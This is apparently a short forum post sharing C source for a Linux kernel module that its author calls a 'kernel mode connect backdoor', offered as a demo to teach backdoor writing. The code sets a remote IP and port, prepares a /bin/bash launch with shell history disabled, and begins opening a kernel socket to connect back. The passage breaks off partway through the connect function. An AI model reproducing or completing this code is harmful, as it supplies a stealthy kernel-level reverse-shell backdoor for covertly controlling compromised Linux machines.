wzt <wzt#xsec.org>
這是一個在內核模塊中實現的反連後門,大家看看這於應用層上的實現有什麼不同吧,呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
#include <Linux/module.h>
#include <Linux/kernel.h>
#include <Linux/socket.h>
#include <Linux/net.h>
#include <Linux/in.h>
#include <Linux/fs.h>
#include <Linux/file.h>
#include <Linux/types.h>
#include <Linux/errno.h>
#include <Linux/string.h>
#include <Linux/unistd.h>
#include <net/sock.h>
#include <asm/uAccess.h>
#include <asm/unistd.h>
#include "syscalls.h"
#define REMOTO_IP "192.168.75.1"
#define port 1080
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };
char *env[]={
"TERM=Linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };
int k_connect(void)
{
struct task_struct *tsk = current;
struct socket *sock,*newsock;
struct sockaddr_in server;
int sockfd,i;
int error = 0,len = sizeof(struct sockaddr);
set_fs(KERNEL_DS);
error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
if (error < 0) {
printk("[-] socket_create failed: %d\n",error);
sock_release(sock);
return -1;
}
sockfd = sock_map_fd(sock);
if (sockfd < 0) {
printk("[-] sock_map_fd() failed.\n");
sock_release(sock);
return -1;
}